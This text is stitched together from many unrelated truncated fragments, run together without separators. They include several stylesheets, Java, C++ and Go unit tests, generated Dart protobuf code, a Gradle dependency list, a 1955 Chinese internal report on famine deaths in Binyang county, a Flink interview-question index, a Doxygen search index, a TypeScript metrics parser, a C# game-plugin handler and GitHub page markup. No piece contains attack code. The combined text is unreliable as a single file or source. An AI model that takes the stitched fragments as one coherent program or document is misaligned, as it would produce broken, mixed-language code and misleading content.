  transition: opacity 0.5s;
  width: 100%;
}
.oppia-sidebar-menu-closed .oppia-content-container::after {
  opacity: 0;
  -webkit-transition: opacity 0.5s;
  transition: opacity 0.5s;
}
/*
  NOTE to developers: We generate RTL CSS from this file in the webpack
  compilation, here are sme additional rules that can be added to the CSS files:
  https://rtlcss.com/learn/usage-guide/control-directives .
*/

attribution-guide .oppia-cc-icon {
  right: 25px;
}

attribution-guide .oppia-cc-icon a.oppia-attribution-image-link {
  text-decoration: none;
}

attribution-guide .oppia-cc-icon a.oppia-attribution-image-link:focus > img {
  outline: 1px dotted #212121;
  outline: auto 5px -webkit-focus-ring-color;
}

attribution-guide .oppia-cc-icon a.oppia-attribution-link:hover,
attribution-guide .oppia-cc-icon a.oppia-attribution-link:focus {
  text-decoration: underline;
}

.oppia-attribution-guide .oppia-cc-icon {
  bottom: 50px;
  position: fixed;
}

.oppia-attribution-guide .oppia-cc-icon:hover {
  text-decoration: none;
}

.oppia-attribution-guide .oppia-neutral-element {
  height: 3px;
  width: 3px;
}

.oppia-attribution-guide .oppia-creative-commons-image {
  border-width: 0;
  height: 31px;
}

.oppia-attribution-guide .oppia-attribution-guide-text {
  color: #094142;
  font-size: 10px;
  text-decoration: underline;
}

.oppia-attribution-guide .attribution-modal {
  background-color: #fff;


field-config-wrapper .button.remove-conditional-line.pull-right {
  margin-top: -12px;
}
.icn-code.magic-tag-init {
  background: none repeat scroll 0 0 #f9f9f9;
  border-bottom: 1px solid #ddd;
  border-left: 1px solid #ddd;
  cursor: pointer;
  opacity: 0.5;
  padding: 7px 6px 6px;
  position: absolute;
  right: 1px;
  top: 2px;
}
.icn-code.magic-tag-init:hover {
  color: #404040;
  opacity: 1;
}
.magic-tag-enabled {
  padding-right: 26px;
  line-height: 20px;
}
textarea.magic-tag-enabled {
  resize: vertical;
}
.settings-panel.settings-core{ display: block;}

.layout-new-form-field .drag-handle,
.layout-form-field .drag-handle {
  cursor: move;
  overflow: hidden;
  text-overflow: ellipsis;
}

.settings-panel-row {
	margin: 5px -6px 0;
	padding: 6px 8px 1px;
}
.settings-panel-row select{
	max-width: 130px;
}
.container-button.edit-open {
	min-width: 100%;
	overflow: visible;
	position: relative;
	width: auto;
	z-index: 101;
}

.template-element.ui-draggable-dragging{
	z-index: 1000;
}
.layout-form-field.ui-sortable-placeholder {
  background-color: #f8f8f8;
  border-bottom: 1px dashed #dedede;
  border-top: 1px dashed #dedede;
  visibility: visible !important;
  min-height: 50px;
}
.ui-sortable-helper{overflow: hidden;}

.layout-grid article,.layout-grid aside,.layout-grid details,.layout-grid figcaption,.layout-grid figure,.layout-grid footer,.layout-grid header,.layout-grid hgroup,.layout-grid main,.layout-grid nav,.layout-grid section,.layout-grid summary{display:block;}
.layout-grid audio,.layout-grid canvas,.layout-grid video{display:inline-block;}
.layout-grid audio:not([controls]){display:none;height:0;}
.layout-grid [hidden],.layout-grid template{display:none;}
.layout-grid html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}
.layout-grid body{margin:0;}
.layout-grid a{background:transparent;}
.layout-grid a:focus{outline:thin dotted;}
.layout-grid a:active,.layout-grid a:hover{outline:0;}
.layout-grid h1{font-size:2em;margin:0.67em 0;}
.layout-grid abbr[title]{border-bottom:1px dotted;}
.layout-grid b,.layout-grid strong{font-weight:bold;}
.layout-grid dfn{font-style:italic;}
.layout-grid hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0;}
.layout-grid mark{background:#ff0;color:#000;}
.layout-grid code,.layout-grid kbd,.layout-grid pre,.layout-grid samp{font-family:monospace, serif;font-size:1em;}
.layout-grid pre{white-space:pre-wrap;}
.layout-grid q{quotes:"\201C" "\201D" "\2018" "\2019";}
.layout-grid small{font-size:80%;}
.layout-grid sub,.layout-grid sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;}
.layout-grid sup{top:-0.5em;}
.layout-grid sub{bottom:-0.25em;}
.layout-grid img{border:0;}
.layout-grid svg:not(:root){overflow:hidden;}
.layou


 Integer(((BinaryObject)binaryPo.field("_enumVal")).enumOrdinal()));
        assertArrayEquals(ordinals(obj.binary.enumArr), ordinals((BinaryObject[])binaryPo.field("_enumArr")));
        assertNull(binaryPo.field("_simple"));
        assertNull(binaryPo.field("_binary"));
        assertNull(binaryPo.field("unknown"));
    }

    /**
     * @throws Exception If failed.
     */
    @Test
    public void testObjectFieldOfExternalizableCollection() throws Exception {
        EnclosingObj obj = new EnclosingObj();

        obj.queue = new TestQueue("test");

        assertEquals(obj, marshalUnmarshal(obj));
    }

    /**
     * @throws Exception If failed.
     */
    @Test
    public void testVoid() throws Exception {
        Class clazz = Void.class;

        assertEquals(clazz, marshalUnmarshal(clazz));

        clazz = Void.TYPE;

        assertEquals(clazz, marshalUnmarshal(clazz));
    }

    /**
     * @throws Exception If failed.
     */
    @Test
    public void testWriteReplacePrivate() throws Exception {
        BinaryMarshaller marsh = binaryMarshaller(Collections.singleton(
            new BinaryTypeConfiguration(TestObject.class.getName())
        ));

        TestObject obj = new TestObject();

        BinaryObject po = marshal(obj, marsh);

        assertEquals(obj, po.deserialize());

        assertEquals(obj.val, ((BinaryObject)po.field("val")).deserialize());
    }

    /**
     * @throws Exception If failed.
     */
    @Test
    public void testWriteReplaceInheritable() throws Exception {
        ImmutableList<String> obj = ImmutableList.of("This is a test");

        BinaryMarshaller marsh = binaryMarshaller(Collections.singleton(
            new BinaryTypeConfiguration(obj.getClass().getName())
        ));

        BinaryObject po = marshal(obj, marsh);

        Object des = po.deserialize();

        assertEquals(obj, des);
    }

    /**
     * Checks {@link BinaryBuilderReader#parseValue()} for object that contains handles to collection.
     *
     * @throws Exception If failed.
     */
    @Test
    public void handleToCollection() throws Exception {
        final IgnitePair<String>[] fieldsColAndHandle = new IgnitePair[] {
            new IgnitePair<>("lst", "hndLst"),
            new IgnitePair<>("linkedLst", "hndLinkedLst"),
            new IgnitePair<>("map", "hndMap"),
            new IgnitePair<>("linkedMap", "hndLinkedMap")
        };
        BinaryMarshaller m = binaryMarshaller();

        HandleToCollections obj = new HandleToCollections();

        BinaryObject bo = marshal(obj, m);

        for (int i = 0; i < 10; ++i) {
            BinaryObjectBuilder bob = bo.toBuilder();

            if (i > 0)
                assertEquals(i - 1, (int)bo.field("a"));

            bob.setField("a", i);

            for (IgnitePair<String> flds : fieldsColAndHandle) {
                // Different orders to read collection and handle to collection.
                Object col;
                Object colHnd;

                if (i % 2 == 0) {
                    col = bob.getField(flds.get1());
                    colHnd = bob.getField(flds.get2());
                }
                else {
                    colHnd = bob.getField(flds.get2());
                    col = bob.getField(flds.get1());
                }

                // Must be assertSame but now BinaryObjectBuilder doesn't support handle to collection.
                // Now we check only that BinaryObjectBuilder#getField doesn't crash and returns valid collection.
                assertEquals("Check: " + flds,


next_c, curr), eps)
          << "col diff c+1=" << c + 1 << " c=" << c << " r=" << r;
    }
  }
  EXPECT_NEAR(1, angle_diff_helper.DiffAt(PixelCoord(1, 1), PixelCoord(2, 1)),
              eps);
  EXPECT_NEAR(1, angle_diff_helper.DiffAt(PixelCoord(2, 1), PixelCoord(1, 1)),
              eps);
  EXPECT_NEAR(1, angle_diff_helper.DiffAt(PixelCoord(1, 2), PixelCoord(1, 1)),
              eps);
  EXPECT_NEAR(1, angle_diff_helper.DiffAt(PixelCoord(1, 1), PixelCoord(1, 2)),
              eps);
}

TEST(LineDistDiff, OverBorder) {
  int size = 4;
  Mat depth_image = cv::Mat::ones(size, size, DataType<float>::type);
  ProjectionParams params;
  params.SetSpan(SpanParams(0_deg, 1_deg * size, size),
                 SpanParams::Direction::VERTICAL);
  params.SetSpan(SpanParams(0_deg, 1_deg * size, size),
                 SpanParams::Direction::HORIZONTAL);
  LineDistDiffPrecomputed angle_diff_helper(&depth_image, &params);
  auto eps = 0.01f;
  EXPECT_NEAR(1, angle_diff_helper.DiffAt(PixelCoord(3, 3), PixelCoord(3, 0)),
              eps);
  EXPECT_NEAR(1, angle_diff_helper.DiffAt(PixelCoord(3, 0), PixelCoord(3, 3)),
              eps);
  EXPECT_NEAR(0, angle_diff_helper.DiffAt(PixelCoord(3, 3), PixelCoord(0, 3)),
              eps);
  EXPECT_NEAR(0, angle_diff_helper.DiffAt(PixelCoord(0, 3), PixelCoord(3, 3)),
              eps);
}

TEST(LineDistDiff, ColorVisualization) {
  int size = 4;
  Mat depth_image = cv::Mat::ones(size, size, DataType<float>::type);
  ProjectionParams params;
  params.SetSpan(SpanParams(0_deg, 1_deg * size, size),
                 SpanParams::Direction::VERTICAL);
  params.SetSpan(SpanParams(0_deg, 1_deg * size, size),
                 SpanParams::Direction::HORIZONTAL);
  LineDistDiffPrecomputed angle_diff_helper(&depth_image, &params);
  cv::Mat colors = angle_diff_helper.Visualize();
  auto eps = 0.1f;
  EXPECT_NEAR(255, colors.at<cv::Vec3b>(3, 3)[0], eps);
}
// Copyright (C) 2020  I. Bogoslavskyi, C. Stachniss
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.

#include <stdio.h>

#incl


 get defaultInt32 => $_getI(24, -123456789);
  @$pb.TagNumber(241)
  set defaultInt32($core.int v) {
    $_setSignedInt32(24, v);
  }

  @$pb.TagNumber(241)
  $core.bool hasDefaultInt32() => $_has(24);
  @$pb.TagNumber(241)
  void clearDefaultInt32() => clearField(241);

  @$pb.TagNumber(242)
  $fixnum.Int64 get defaultInt64 => $_getI64(25);
  @$pb.TagNumber(242)
  set defaultInt64($fixnum.Int64 v) {
    $_setInt64(25, v);
  }

  @$pb.TagNumber(242)
  $core.bool hasDefaultInt64() => $_has(25);
  @$pb.TagNumber(242)
  void clearDefaultInt64() => clearField(242);

  @$pb.TagNumber(243)
  $core.int get defaultUint32 => $_getI(26, 2123456789);
  @$pb.TagNumber(243)
  set defaultUint32($core.int v) {
    $_setUnsignedInt32(26, v);
  }

  @$pb.TagNumber(243)
  $core.bool hasDefaultUint32() => $_has(26);
  @$pb.TagNumber(243)
  void clearDefaultUint32() => clearField(243);

  @$pb.TagNumber(244)
  $fixnum.Int64 get defaultUint64 => $_getI64(27);
  @$pb.TagNumber(244)
  set defaultUint64($fixnum.Int64 v) {
    $_setInt64(27, v);
  }

  @$pb.TagNumber(244)
  $core.bool hasDefaultUint64() => $_has(27);
  @$pb.TagNumber(244)
  void clearDefaultUint64() => clearField(244);

  @$pb.TagNumber(245)
  $core.int get defaultSint32 => $_getI(28, -123456789);
  @$pb.TagNumber(245)
  set defaultSint32($core.int v) {
    $_setSignedInt32(28, v);
  }

  @$pb.TagNumber(245)
  $core.bool hasDefaultSint32() => $_has(28);
  @$pb.TagNumber(245)
  void clearDefaultSint32() => clearField(245);

  @$pb.TagNumber(246)
  $fixnum.Int64 get defaultSint64 => $_getI64(29);
  @$pb.TagNumber(246)
  set defaultSint64($fixnum.Int64 v) {
    $_setInt64(29, v);
  }

  @$pb.TagNumber(246)
  $core.bool hasDefaultSint64() => $_has(29);
  @$pb.TagNumber(246)
  void clearDefaultSint64() => clearField(246);

  @$pb.TagNumber(247)
  $core.int get defaultFixed32 => $_getI(30, 2123456789);
  @$pb.TagNumber(247)
  set defaultFixed32($core.int v) {
    $_setUnsignedInt32(30, v);
  }

  @$pb.TagNumber(247)
  $core.bool hasDefaultFixed32() => $_has(30);
  @$pb.TagNumber(247)
  void clearDefaultFixed32() => clearField(247);

  @$pb.TagNumber(248)
  $fixnum.Int64 get defaultFixed64 => $_getI64(31);
  @$pb.TagNumber(248)
  set defaultFixed64($fixnum.Int64 v) {
    $_setInt64(31, v);
  }

  @$pb.TagNumber(248)
  $core.bool hasDefaultFixed64() => $_has(31);
  @$pb.TagNumber(248)
  void clearDefaultFixed64() => clearField(248);

  @$pb.TagNumber(249)
  $core.int get defaultSfixed32 => $_getI(32, -123456789);
  @$pb.TagNumber(249)
  set defaultSfixed32($


0.54.2")
        api("com.hedera.hashgraph:hedera-protobuf-java-api:0.66.0")
        api("com.hedera.hashgraph:sdk:2.64.0")
        api("com.ongres.scram:client:2.1")
        api("com.salesforce.servicelibs:reactor-grpc-stub:$reactorGrpcVersion")
        api("commons-beanutils:commons-beanutils:1.11.0")
        api("commons-io:commons-io:2.20.0")
        api("io.cucumber:cucumber-bom:7.23.0")
        api("io.fabric8:kubernetes-client-bom:7.4.0")
        api("io.github.mweirauch:micrometer-jvm-extras:0.2.2")
        api("io.grpc:grpc-bom:$grpcVersion")
        api("io.hypersistence:hypersistence-utils-hibernate-63:3.11.0")
        api("io.projectreactor:reactor-core-micrometer:1.2.11")
        api("io.swagger:swagger-annotations:1.6.16")
        api("io.vertx:vertx-web:4.5.16") // Temporary until next Fabric8 version
        api("jakarta.inject:jakarta.inject-api:2.0.1")
        api("javax.inject:javax.inject:1")
        api("net.devh:grpc-spring-boot-starter:3.1.0.RELEASE")
        api("net.java.dev.jna:jna:5.18.1")
        api("org.apache.commons:commons-collections4:4.5.0")
        api("org.apache.commons:commons-compress:1.28.0")
        api("org.apache.commons:commons-math3:3.6.1")
        api("org.apache.tuweni:tuweni-bytes:$tuweniVersion")
        api("org.apache.tuweni:tuweni-units:$tuweniVersion")
        api("org.apache.velocity:velocity-engine-core:2.4.1")
        api("org.eclipse.jetty.toolchain:jetty-jakarta-servlet-api:5.0.2")
        api("org.gaul:s3proxy:2.7.0")
        api("org.hiero.block:block-node-protobuf-sources:$blockNodeVersion")
        api("org.hyperledger.besu:secp256k1:0.8.2")
        api("org.hyperledger.besu:besu-datatypes:$besuVersion")
        api("org.hyperledger.besu:evm:$besuVersion")
        api("org.mapstruct:mapstruct:$mapStructVersion")
        api("org.mapstruct:mapstruct-processor:$mapStructVersion")
        api("org.msgpack:jackson-dataformat-msgpack:0.9.10")
        api("org.springdoc:springdoc-openapi-webflux-ui:1.8.0")
        api("org.mockito:mockito-inline:5.2.0")
        api("org.web3j:core:5.0.1")
        api("software.amazon.awssdk:bom:2.35.0")
        api("tech.pegasys:jc-kzg-4844:1.0.0")
        api("uk.org.webcompere:system-stubs-jupiter:2.1.8")
    }
}

allprojects { apply(plugin = "jacoco") }

idea {
    module {
        isDownloadJavadoc = true
        isDownloadSources = true
    }
}

// Spotless uses Prettier and it requires Node.js
node {
    val nodeJsVersion: String by rootProject.extra
    download = true
    version = nodeJsVersion
    workDir = rootDir.resolve(".gradle").resolve("nodejs")
}

repositories {
    gradlePluginPortal()
    mavenCentral()
}

spotless {
    val licenseHeader = "// SPDX-License-Identifier: Apache-2.0\n\n"

    val npmExec =
        when (System.getProperty("os.name").lowercase().contains("windows")) {
            true ->


\u3002\u53bf\u533a\u9886\u5bfc\u5e72\u90e8\u6b63\u6df1\u5165\u5230\u95ee\u9898\u8f83\u4e25\u7684\u5730\u533a\u8fdb\u884c\u5904\u7406\uff0c\u5e76\u6d3e\u536b\u751f\u5de5\u4f5c\u4eba\u5458\u5230\u91cd\u70b9\u5730\u533a\u53bb\u6cbb\u75c5\u3002(\u9648\u84ec\u751f)", "type": "paragraph"}, {"text": "\u6765\u6e90\uff1a1955\u5e746\u670824\u65e5\u65b0\u534e\u901a\u8baf\u793e\u7f16\u300a\u5185\u90e8\u53c2\u8003\u300b\u3002", "type": "paragraph"}]}
  </script>

    [返回索引页面]

   桂西僮族自治区宾阳县饿死一百四十八人

   日期：1955-6-17 作者：[待确定]

   【广西分社十七日讯】广西省桂西僮族自治区宾阳县整顿粮食统销后，饿、病、死人的现象不断发生，据五月二十日到六月六日的统计：全县一百四十一个乡有一百三十三个乡死人。其中饿死一百四十八人，病死、自杀、被杀而死的有四百六十四人，因缺粮吃土茯苓、大苗薯及其他野生植物中毒，以致患脸肿、脚肿、拉痢、大便不通等疾病的有四千五百四十九人，其中有二千零八十九人病情严重。全县死、病人共计五千一百六十一人，占全县总人口的百分之一点三。

   由於死、病现象不断发生，和坏分子的造谣挑拨，农民思想紊乱，严重影响了生产。龙额乡五十个互助组就垮了四十个。平龙乡农业社第三分社三十二个劳动力只有十二个出工。偷窃玉米等早熟作物的现象，到处都有发生，部分站岗放哨的民兵也乘机偷窃。一区三韦乡的一个农民偷二区的玉米被当地农民打死了。

   发生问题较多、较严重的以水稻产区和粮食统销面较大的地区最多，死、病人以这些地区的农业生产互助组、合作社内的老弱病人居多。原因是：去年减产，而这些地区种早熟作物少，去年农业社、互助组带头卖余粮较多；同时，在今年粮食统销时，许多互助合作组织中的骨干分子为了怕农业社、互助组垮台，把自己在统销中买到的粮食在社内、组内平均分配。因而统销面扩大。全县粮食统销面原来达百分之八十，经过统销补课后，仍达百分之三十六。

   这些现象已引起该县党政领导上的重视，六月初召开了区委书记联席会议，决定适当放宽粮食供应控制指标，并发放一部分救济款。县区领导干部正深入到问题较严的地区进行


inkstreaming.md)
    - [63）、JobGraph生成?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [64）、Flink和SparkStreaming区别?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [65）、Flink中什么场景会用到state?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [66）、Flink如何快速定位问题?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [67）、Flink中watermark 机制?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [68）、Flink集群有哪些角色？各自有什么作用？](bigdata-project/src/main/doc/flinkstreaming.md)
    - [69）、Flink中多流Join?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [70）、Flink中两阶段提交?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [71）、Flink中多流checkpoint?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [72）、Flink中多流合并反压?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [73）、Flink中多流Join，数据延迟?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [74）、Flink中checkpoint存的数据是什么?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [75）、Flink中checkpoint和savepoint区别?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [76）、Flink中join类型?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [77）、Flink与SparkStreaming的优缺点?适用的场景?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [78）、Flink背压如何实现?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [79）、Flink如何取消state?1.7版本如如何取消?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [80）、Flink如何实现自定义sink?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [81）、Flink分布式缓存?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [82）、Flink计数器?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [86）、Flink SQL解析方式?](bigdata-project/src/main/doc/flinkstreaming.md)
    - [87)、Flink Window的分组？](bigdata-project/src/main/doc/flinkstreaming.md)
    - [88)、Flink Window 的生命周期？清除？](bigdata-project/src/main/doc/flinkstreaming.md)
    - [89)、Flink Window 的触发器？以及内置自定义触发器？](bigdata-project/src/main/doc/flinkstreaming.md)
    - [90)、Flink Window 的窗


om.html#ab492565609acca77f93059c002aa2aa3',1,'Com::printF(FSTRINGPARAM(text), long value)'],['../class_com.html#ac8b01a1e6fc25a500c5a1b0348b9bb9b',1,'Com::printF(FSTRINGPARAM(text), unsigned long value)'],['../class_com.html#a04e89a7a0e85832ddb865241d4a5a5bf',1,'Com::printF(FSTRINGPARAM(text), float value, uint8_t digits=2)']]],
  ['printfatdate',['printFatDate',['../class_sd_base_file.html#a56d33961896e2a571012c6f64f69f86e',1,'SdBaseFile']]],
  ['printfattime',['printFatTime',['../class_sd_base_file.html#a93fd2d0e3e1a51127dd59815c3ad92a3',1,'SdBaseFile']]],
  ['printfield',['printField',['../class_sd_base_file.html#aeb564423f405ec9e71b62926b1ef8ab5',1,'SdBaseFile::printField(int16_t value, char term)'],['../class_sd_base_file.html#ac9a25d21b439ac5c270ebcb42aa208db',1,'SdBaseFile::printField(uint16_t value, char term)'],['../class_sd_base_file.html#a5a95541e25ab84c7ddbe3404db0e2efd',1,'SdBaseFile::printField(int32_t value, char term)'],['../class_sd_base_file.html#a85d0c7a2190689f774a07a5bfb9668bd',1,'SdBaseFile::printField(uint32_t value, char term)']]],
  ['printfln',['printFLN',['../class_com.html#a3c88195fa3e81ecce0d949115ab15a3e',1,'Com::printFLN(FSTRINGPARAM(text))'],['../class_com.html#aa77254fdf0fbc3b81b73e945761f84e8',1,'Com::printFLN(FSTRINGPARAM(text), int value)'],['../class_com.html#afc7336e57fff7689417aa4a08f87d0e9',1,'Com::printFLN(FSTRINGPARAM(text), long value)'],['../class_com.html#a6ca34876d3300f43bd870ae03c7b94ed',1,'Com::printFLN(FSTRINGPARAM(text), unsigned long value)'],['../class_com.html#a92186c9a146580c56c2dbd4769fcb290',1,'Com::printFLN(FSTRINGPARAM(text), const char *msg)'],['../class_com.html#a7d048fe5c913a9e319018b01d00acf47',1,'Com::printFLN(FSTRINGPARAM(text), float value, uint8_t digits=2)']]],
  ['printfloat',['printFloat',['../class_com.html#a6ff9934b808f315814adc3e27cf601d5',1,'Com']]],
  ['printinfof',['printInfoF',['../class_com.html#a8cc3fd2ac0d5cecce802554f75cde27d',1,'Com']]],
  ['printinfofln',['printInfoFLN',['../class_com.html#afedb677e34841b73158bc517068ce5a5',1,'Com']]],
  ['println',['println',['../class_com.html#abf5c1f3a95facdad9e2bdba00b7c960a',1,'Com']]],
  ['printmodifydatetime',['printModifyDateTime',['../class_sd_base_file.html#a5ded19364c125073d6


 Metric();
  currentMetricKey: string = '';

  parse(str: string) : Metrics {
    const src = new StringCharSource(str);
    while(src.skipSpacesAndReturns()) {
      if (src.peek() === '#') {
        src.skip(1);
        this.parseComment(src);
      } else {
        const metricLine = this.parseMetricLine(src);
        this.updateCurrentMetric(metricLine);
      }
    }
    return this.result;
  }

  parseComment(src: CharSource) {
    if (!src.skipSpacesAndReturns())
      return;
    const help = this.parseCommentOfKey(src, HELP);
    if (help)
     this.getOrCreateMetric(help.name).help = help.value;
    else {
      const type = this.parseCommentOfKey(src, TYPE);
      if (type)
        this.getOrCreateMetric(type.name).type = type.value;
    }
    src.skipUntilTerminator('\n\r', true);
  }

  parseCommentOfKey(src: CharSource, key: string): {name: string, value: string} | null {
    if (src.startsWith(key)) {
      src.skip(key.length);
      src.skipChars(' ');
      const name = src.readUntilTerminator(' ');
      src.skipChars(' ');
      return {name, value: src.readUntilTerminator('\n\r')};
    }
    return null;
  }

  parseMetricLine(src: CharSource): MetricLine {
    const ret: MetricLine = new MetricLine(src.readUntilTerminator('{ '));
    if (src.peek() === '{') {
      src.skip(1);
      while(true) {
        const key = src.readUntilTerminator('=}');
        if (src.read() === '}') break;  // either = or }
        const quote = src.read();
        if (quote !== '"' && quote !== '\'') throw src.createParseRuntimeException('missing quote when expecting a string label vale');
        const val = src.readQuotedString(quote);
        ret.labels[key] = val;
        const sep = src.read();
        if (sep === '}') break;
        if (sep !== ',') throw src.createParseRuntimeException(`expect ',' after label: ${key}=${val}`);
      }
    }
    src.skipChars(' \t');
    ret.value = Number.parseFloat(src.readUntilTerminator(' \n\r'));
    if (src.isEof())
      return ret;
    if (src.peek() === ' ')
    ret.timestamp = Number.parseFloat(src.readUntilTerminator('\n\r'));
    return ret;
  }

  updateCurrentMetric(metricLine: MetricLine) {
    if (metricLine.name === this.currentMetricKey) {
      const quantile = metricLine.labels.quantile;
      if (quantile) {
        delete metricLine.labels.quantile;
        this.currentMetric.getOrCreateValue(metricLine.labels).addQuantile(quantile, metricLine.value);
        return;
      }
      this.currentMetric.getOrCreateValue(metricLine.labels).value = metricLine.value;
      return;
    }

    if (metricLine.name === this.currentMetricKey + '_count') {
      this.currentMetric.getOrCreateValue(metricLine.labels).count = metricLine.value;
      return;
    }

    if (metricLine.name === this.currentMetricKey + '_sum') {
      this.currentMetric.getOrCreateValue(metricLine.labels).sum = metricLine.value;
      return;
    }

    if (metricLine.name === this.currentMetricKey + '_bucket') {
      const bucket = metricLine.labels.le;
      if (!bucket)
        throw new Error(`missing bucket label: ${JSON.stringify(metricLine)}`);
      delete metricLine.labels.le;
      this.currentMetric.getOrCreateValue(metricLine.labels).addBucket(bucket, metricLine.value);
      return;
    }


using CustomPlayerEffects;
using Exiled.Events.EventArgs.Player;
using UsefulHints.Extensions;

namespace UsefulHints.EventHandlers.Items
{
    public static class WarningHints
    {
        private static Config Config => UsefulHints.Instance.Config;

        public static void RegisterEvents()
        {
            Exiled.Events.Handlers.Player.PickingUpItem += OnPickingUpWarning;
        }
        public static void UnregisterEvents()
        {
            Exiled.Events.Handlers.Player.PickingUpItem -= OnPickingUpWarning;
        }
        private static void OnPickingUpWarning(PickingUpItemEventArgs ev)
        {
            if (!ServerSettings.ShouldShowWarningHints(ev.Player) || ev.Player == null)


CanopyChainId,
				Height:     1,
				RootHeight: 1,
				Round:      0,
				Phase:      ElectionVote,
			}
			go c.bft.StartElectionVotePhase()
			select {
			case <-time.After(testTimeout):
				t.Fatal("timeout")
			case m := <-c.cont.sendToProposerChan:
				msg, ok := m.(*Message)
				require.True(t, ok)
				require.NotNil(t, msg.Qc)
				require.Equal(t, *msg.Qc.Header, expectedView)
				if test.isElectionCandidate || test.noElectionCandidates {
					require.Equal(t, msg.Qc.ProposerKey, pub.Bytes())
				} else {
					require.Equal(t, msg.Qc.ProposerKey, c.valKeys[3].PublicKey().Bytes())
				}
				if test.hasBE {
					require.NotNil(t, msg.LastDoubleSignEvidence)
					require.Equal(t, expectedDoubleSignEvidence.Evidence, msg.LastDoubleSignEvidence)
				}
			}
		})
	}
}

func TestStartProposePhase(t *testing.T) {
	tests := []struct {
		name           string
		detail         string
		receiveEVQC    bool
		hasBE          bool
		hasLivenessHQC bool
		hasSafetyHQC   bool
	}{
		{
			name:   "self is not proposer",
			detail: `no election vote quorum certificate received`,
		},
		{
			name:        "self is proposer",
			detail:      `election vote quorum certificate received`,
			receiveEVQC: true,
		},
		{
			name:        "self is proposer with byzantine evidence",
			detail:      `election vote quorum certificate received and there was byzantine evidence attached to the QC`,
			receiveEVQC: true,
			hasBE:       true,
		},
		{
			name:           "self is proposer with existing liveness highQC", // liveness vs safety doesn't matter for the proposer, a valid precommit qc from the same height is a lock
			detail:         `election vote quorum certificate received and there was a highQC (passes liveness rule) attached to the QC`,
			receiveEVQC:    true,
			hasLivenessHQC: true,
		},
		{
			name:         "self is proposer with existing safety highQC", // liveness vs safety doesn't matter for the proposer, a valid precommit qc from the same height is a lock
			detail:       `election vote quorum certificate received and there was a highQC (passes safety rule) attached to the QC`,
			receiveEVQC:  true,
			hasSafetyHQC: true,
		},
	}
	for _, test := range tests {
		t.Run(test.name, func(t *testing.T) {
			// setup
			c := newTestConsensus(t, Propose, 3)
			var multiKey crypto.MultiPublicKeyI
			if test.receiveEVQC {
				multiKey = c.simElectionVotePhase(t, 0, test.hasBE, test.hasLivenessHQC, test.hasSafetyHQC, 0)
			}
			expectedView, expectedQCView := lib.View{
				NetworkId:  lib.CanopyMainnetNetworkId,
				ChainId:    lib.CanopyChainId,
				Height:     1,
				Round:      0,
				Phase:      Propose,
				RootHeight: 1,
			}, lib.View{
				NetworkId:  lib.CanopyMainnetNetworkId,
				ChainId:    lib.CanopyChainId,
				Height:     1,
				RootHeight: 1,
				Round:      0,
				Phase:      ElectionVote,
			}
			go c.bft.StartProposePhase()
			select {
			case <-time.After(testTimeout):
				if test.receiveEVQC {
					t.Fatal("timeout")
				}
			case m := <-c.cont.sendToReplicasChan:
				if !t


></x-banner>

  <template class="js-flash-template">

    <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
    <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
</svg>
    </button>

{{ message }}

  </template>

    <notification-shelf-watcher data-base-url="https://github.com/notifications/beta/shelf" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTMxOTY0NTU3IiwidCI6MTcxOTg0NDQ3OX0=--f2477bd2a3bbfa14ad149147f76454f397dda2cfc6b5be98eef7eefaab96c1b8" data-view-component="true" class="js-socket-channel"></notification-shelf-watcher>

    <command-palette
      class="command-palette color-bg-default rounded-3 border color-shadow-small"
      return-to=/trending?since=daily
      user-id="131964557"
      activation-hotkey="Mod+k,Mod+Alt+k"
      command-mode-hotkey="Mod+Shift+K"
      data-action="
        command-palette-input-ready:command-palette#inputReady
        command-palette-page-stack-updated:command-palette#updateInputScope
        itemsUpdated:command-palette#itemsUpdated
        keydown:command-palette#onKeydown
